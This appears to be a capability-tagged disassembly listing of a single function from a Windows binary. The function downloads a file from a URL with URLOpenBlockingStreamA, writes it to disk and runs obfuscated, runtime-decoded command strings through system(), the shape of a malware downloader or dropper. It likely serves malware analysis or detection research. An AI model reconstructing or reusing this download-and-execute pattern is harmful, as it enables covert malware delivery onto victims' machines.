Function at 0x401a80
Capabilities:
Download and write a file
Download url
Execute command
Receive and write data from server to client
Receive data
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4093a7
mov eax, dword fs:[0]
push eax
sub esp, 0x310
mov eax, dword [0x40e008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x208], 0
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
cmovae eax, dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
test eax, eax
js 0x40229a
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x268]
call fcn.00405b70
push 0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x31c]
cmp dword [ebp - 0x254], 0x10
lea eax, [ebp - 0x268]
push 0
cmovae eax, dword [ebp - 0x268]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamA]
test eax, eax
je 0x401c5c
mov eax, dword fs:[0x2c]
mov dword [ebp - 0x208], 0x31100b58
mov edi, dword [eax]
mov eax, dword [edi + 0x120]
test al, 1
jne 0x401b9c
or eax, 1
mov dword [edi + 0x120], eax
mov byte [ebp - 4], 2
xorps xmm0, xmm0
movlpd qword [ebp - 0x228], xmm0
mov edx, dword [ebp - 0x224]
mov ecx, dword [ebp - 0x228]
mov byte [edi + 0x2d0], 1
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x208]
mov byte [ecx + edi + 0x2cc], al
add ecx, 1
adc edx, 0
jne 0x401b8b
cmp ecx, 4
jb 0x401b70
push 0x40a220
call fcn.004083a9
add esp, 4
mov byte [ebp - 4], 1
lea esi, [edi + 0x2cc]
mov ecx, esi
call fcn.00406b20
push esi
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movaps xmm0, xmmword [0x40b4d0]
add esp, 4
mov eax, dword [edi + 0x110]
mov word [ebp - 0x20c], 0xabe8
movups xmmword [ebp - 0x21c], xmm0
test al, 1
jne 0x401c2c
or eax, 1
mov dword [edi + 0x110], eax
mov byte [ebp - 4], 3
xorps xmm0, xmm0
movlpd qword [ebp - 0x228], xmm0
mov edx, dword [ebp - 0x224]
mov ecx, dword [ebp - 0x228]
mov byte [edi + 0x236], 1
nop
mov al, byte [ebp + ecx - 0x21c]
mov byte [edi + ecx + 0x224], al
add ecx, 1
adc edx, 0
jne 0x401c1b
cmp ecx, 0x12
jb 0x401c00
push 0x40a1e0
call fcn.004083a9
add esp, 4
mov byte [ebp - 4], 1
lea ecx, [edi + 0x224]
call fcn.00406ac0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [edi + 0x224]
push 0x406fc0
call fcn.00406d80
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
xor esi, esi
jmp 0x402255
push 0xb0
lea eax, [ebp - 0x318]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x318], 0x40b464
lea ecx, [ebp - 0x2b0]
mov dword [ebp - 0x308], 0x40b40c
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
lea eax, [ebp - 0x300]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x318]
mov dword [ebp - 0x208], 1
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char____]
mov dword [ebp - 4], 5
mov eax, dword [ebp - 0x318]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebp - 0x318]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x31c], eax
lea ecx, [ebp - 0x300]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
mov dword [ebp - method.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov dword [ebp - 0x2c8], 0
mov dword [ebp - 0x2c4], 0
mov byte [ebp - 4], 6
lea edx, [ebp - 0x238]
mov eax, dword [ebp - 0x31c]
push edx
push 0x64
lea edx, [ebp - 0x204]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0xc]
push 0x40b2f8
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov esi, eax
add esp, 8
mov dword [ebp - 0x224], esi
test esi, esi
jne 0x401eac
mov eax, dword fs:[0x2c]
mov dword [ebp - 0x208], 0xc5d6fdbc
mov edi, dword [eax]
mov eax, dword [edi + 0x270]
test al, 1
jne 0x401dcc
or eax, 1
mov dword [edi + 0x270], eax
mov byte [ebp - 4], 7
xorps xmm0, xmm0
movlpd qword [ebp - 0x228], xmm0
mov edx, dword [ebp - 0x224]
mov ecx, dword [ebp - 0x228]
mov byte [edi + 0x250], 1
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x208]
mov byte [edi + ecx + 0x24c], al
add ecx, 1
adc edx, 0
jne 0x401dbb
cmp ecx, 4
jb 0x401da0
push 0x40a1a0
call fcn.004083a9
add esp, 4
mov byte [ebp - 4], 6
lea esi, [edi + 0x24c]
mov ecx, esi
call fcn.00406a60
push esi
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push 0
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov eax, dword [edi + 0x31c]
add esp, 8
mov dword [ebp - 0x21c], 0xd14c5707
mov dword [ebp - 0x218], 0x6f67954c
mov dword [ebp - 0x214], 0xcf4a6332
mov word [ebp - 0x210], 0x9409
mov byte [ebp - 0x20e], 0x5d
test al, 1
jne 0x401e7c
or eax, 1
mov dword [edi + 0x31c], eax
mov byte [ebp - 4], 8
xorps xmm0, xmm0
movlpd qword [ebp - 0x228], xmm0
mov edx, dword [ebp - 0x224]
mov ecx, dword [ebp - 0x228]
mov byte [edi + 0x1bf], 1
nop
mov al, byte [ebp + ecx - 0x21c]
mov byte [edi + ecx + 0x1b0], al
add ecx, 1
adc edx, 0
jne 0x401e6b
cmp ecx, 0xf
jb 0x401e50
push 0x40a160
call fcn.004083a9
add esp, 4
mov byte [ebp - 4], 6
lea ecx, [edi + 0x1b0]
call fcn.00406a00
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [edi + 0x1b0]
push 0x406fc0
call fcn.00406d80
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
xor esi, esi
jmp 0x40220b
mov eax, dword [ebp - 0x238]
test eax, eax
je 0x401ef2
push 0
push eax
lea eax, [ebp - 0x204]
push eax
lea ecx, [ebp - 0x308]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
mov eax, dword [ebp - 0x31c]
lea edx, [ebp - 0x238]
push edx
push 0x64
lea edx, [ebp - 0x204]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0xc]
mov eax, dword [ebp - 0x238]
test eax, eax
jne 0x401eb6
mov byte [ebp - 4], 9
xor ecx, ecx
test byte [ebp - 0x2c4], 2
mov dword [ebp - 0x240], ecx
mov dword [ebp - 0x23c], 0xf
mov byte [ebp - 0x250], cl
mov dword [ebp - 0x208], 5
jne 0x401f46
mov eax, dword [ebp - 0x2e0]
mov edx, dword [eax]
test edx, edx
je 0x401f46
mov eax, dword [ebp - 0x2f0]
cmp edx, dword [ebp - 0x2c8]
cmovb edx, dword [ebp - 0x2c8]
mov ecx, dword [eax]
sub edx, ecx
jmp 0x401f6d
test byte [ebp - 0x2c4], 4
jne 0x401f80
mov eax, dword [ebp - 0x2e4]
mov edx, dword [eax]
test edx, edx
je 0x401f80
mov eax, dword [ebp - 0x2f4]
mov ecx, dword [eax]
sub edx, ecx
mov eax, dword [ebp - 0x2d4]
add edx, dword [eax]
push edx
push ecx
lea ecx, [ebp - 0x250]
call fcn.00406be0
mov ecx, dword [ebp - 0x240]
mov dword [ebp - 4], 0xa
cmp ecx, 0x1388
jae 0x4020ec
mov eax, dword fs:[0x2c]
mov dword [ebp - 0x208], 0x61e0bdba
mov edi, dword [eax]
mov eax, dword [edi + 0x218]
test al, 1
jne 0x40200c
or eax, 1
mov dword [edi + 0x218], eax
mov byte [ebp - 4], 0xb
xorps xmm0, xmm0
movlpd qword [ebp - 0x214], xmm0
mov edx, dword [ebp - 0x210]
mov ecx, dword [ebp - 0x214]
mov byte [edi + 0x350], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x208]
mov byte [edi + ecx + 0x34c], al
add ecx, 1
adc edx, 0
jne 0x401ffb
cmp ecx, 4
jb 0x401fe0
push 0x40a120
call fcn.004083a9
add esp, 4
mov byte [ebp - 4], 0xa
lea esi, [edi + 0x34c]
mov ecx, esi
call fcn.004069a0
push esi
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push dword [ebp - 0x224]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov eax, dword [edi + 0x278]
add esp, 8
mov dword [ebp - 0x22c], 0x704f3c62
mov dword [ebp - 0x228], 0x7a19f31b
mov dword [ebp - 0x224], 0x35473a43
mov word [ebp - 0x220], 0xc91a
test al, 1
jne 0x4020bc
or eax, 1
mov dword [edi + 0x278], eax
mov byte [ebp - 4], 0xc
xorps xmm0, xmm0
movlpd qword [ebp - 0x214], xmm0
mov edx, dword [ebp - 0x210]
mov ecx, dword [ebp - 0x214]
mov byte [edi + 0xbe], 1
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x22c]
mov byte [edi + ecx + 0xb0], al
add ecx, 1
adc edx, 0
jne 0x4020ab
cmp ecx, 0xe
jb 0x402090
push 0x40a0e0
call fcn.004083a9
add esp, 4
mov byte [ebp - 4], 0xa
lea ecx, [edi + 0xb0]
call fcn.00406940
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [edi + 0xb0]
push 0x406fc0
call fcn.00406d80
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
xor esi, esi
jmp 0x4021b6
cmp dword [ebp - 0x23c], 0x10
lea eax, [ebp - 0x250]
push esi
cmovae eax, dword [ebp - 0x250]
push ecx
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov eax, dword [ebp - 0x31c]
add esp, 0x10
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov eax, dword fs:[0x2c]
add esp, 8
mov dword [ebp - 0x208], 0x6916b934
mov esi, dword [eax]
mov eax, dword [esi + 0x1a4]
test al, 1
jne 0x40219a
or eax, 1
mov dword [esi + 0x1a4], eax
mov byte [ebp - 4], 0xd
xorps xmm0, xmm0
movlpd qword [ebp - 0x214], xmm0
mov edx, dword [ebp - 0x210]
mov ecx, dword [ebp - 0x214]
mov byte [esi + 0x1c8], 1
mov al, byte [ebp + ecx - 0x208]
mov byte [esi + ecx + 0x1c4], al
add ecx, 1
adc edx, 0
jne 0x40218d
cmp ecx, 4
jb 0x402172
push 0x40a0a0
call fcn.004083a9
add esp, 4
lea esi, [esi + 0x1c4]
mov ecx, esi
call fcn.004068e0
push esi
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
mov esi, 1
mov edx, dword [ebp - 0x23c]
cmp edx, 0x10
jb 0x4021f0
mov ecx, dword [ebp - 0x250]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4021e6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402285
push edx
push ecx
call fcn.004082f2
add esp, 8
mov dword [ebp - 0x240], 0
mov dword [ebp - 0x23c], 0xf
mov byte [ebp - 0x250], 0
mov eax, dword [ebp - 0x318]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebp - 0x318]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x31c], eax
lea ecx, [ebp - 0x300]
call fcn.00405930
lea ecx, [ebp - 0x2f8]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x2b0]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov edx, dword [ebp - 0x254]
cmp edx, 0x10
jb 0x402355
mov ecx, dword [ebp - 0x268]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40228b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40228b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.004082f2
add esp, 8
jmp 0x402355
mov eax, dword fs:[0x2c]
movaps xmm0, xmmword [0x40b480]
movups xmmword [ebp - 0x234], xmm0
mov dword [ebp - 0x224], 0xbe10201
mov esi, dword [eax]
mov word [ebp - 0x220], 0x89a6
mov eax, dword [esi + 0x274]
test al, 1
jne 0x40232c
or eax, 1
mov dword [esi + 0x274], eax
mov byte [ebp - 4], 0xe
xorps xmm0, xmm0
movlpd qword [ebp - 0x214], xmm0
mov edx, dword [ebp - 0x210]
mov ecx, dword [ebp - 0x214]
mov byte [esi + 0x3a6], 1
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x234]
mov byte [esi + ecx + 0x390], al
add ecx, 1
adc edx, 0
jne 0x40231b
cmp ecx, 0x16
jb 0x402300
push 0x40a060
call fcn.004083a9
add esp, 4
mov byte [ebp - 4], 0
lea esi, [esi + 0x390]
mov ecx, esi
call fcn.00406880
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, esi
push 0x406fc0
call fcn.00406d80
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
xor esi, esi
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x40238b
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402381
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402381
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.004082f2
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004082b1
mov esp, ebp
pop ebp
ret